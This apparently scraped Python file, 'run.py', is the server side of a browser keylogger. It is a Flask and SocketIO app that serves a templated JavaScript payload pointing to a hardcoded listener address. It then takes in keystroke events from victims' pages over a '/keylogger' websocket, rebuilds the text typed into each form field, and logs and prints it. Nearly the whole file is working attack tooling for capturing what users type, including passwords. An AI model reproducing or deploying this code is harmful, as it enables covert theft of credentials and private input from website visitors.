/
run.py
92 lines (65 loc) · 2.42 KB
/
run.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import logging
import tables
from flask import Flask, make_response, render_template, request
from flask.ext.socketio import SocketIO, emit
LHOST = '192.168.1.169'
LPORT = 80
logging.basicConfig(filename='wskeylogger.log', level=logging.INFO)
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret'
socketio = SocketIO(app)
input_tags = {}
@app.route('/')
def index():
jsfile = render_template('wsk.js', lhost=LHOST, lport=LPORT)
response = make_response(jsfile)
response.headers['Content-Type'] = 'application/javascript'
return response
@socketio.on('connect', namespace='/keylogger')
def test_connect():
emit('confirm connection', { 'data' : 'Connected' })
@socketio.on('disconnect', namespace='/keylogger')
def test_disconnect():
print 'Client disconnected'
@socketio.on('keydown', namespace='/keylogger')
def keydown(message):
keystroke = message['ks']
ctrl_pressed = message['ctrl']
alt_pressed = message['alt']
shift_pressed = message['shift']
selection_start = message['start_pos']
selection_end = message['end_pos']
name = message['name']
if name not in input_tags:
input_tags[name] = []
contents = input_tags[name]
if ctrl_pressed or alt_pressed or not tables.is_printable(keystroke):
return
keystroke = tables.keyboard[keystroke]
if keystroke == 'BACK_SPACE':
if selection_start == selection_end and selection_start != 0:
contents.pop(selection_start-1)
else:
del contents[selection_start:selection_end]
elif keystroke == 'DELETE':
if selection_start == selection_end and selection_end != len(contents):
contents.pop(selection_start)
else:
del contents[selection_start:selection_end]
else:
if shift_pressed:
if keystroke in tables.shift:
keystroke = tables.shift[keystroke]
elif keystroke.isalpha():
keystroke = keystroke.upper()
if selection_start != selection_end:
del contents[selection_start:selection_end]
contents.insert(selection_start, keystroke)
print '<input id="%s" type="%s" class="%s" name="%s" /> textval: %s' %\
(message['id'],
message['type'],
message['class'],
message['name'],
''.join(contents))
if __name__ == '__main__':
socketio.run(app, host='0.0.0.0', port=LPORT)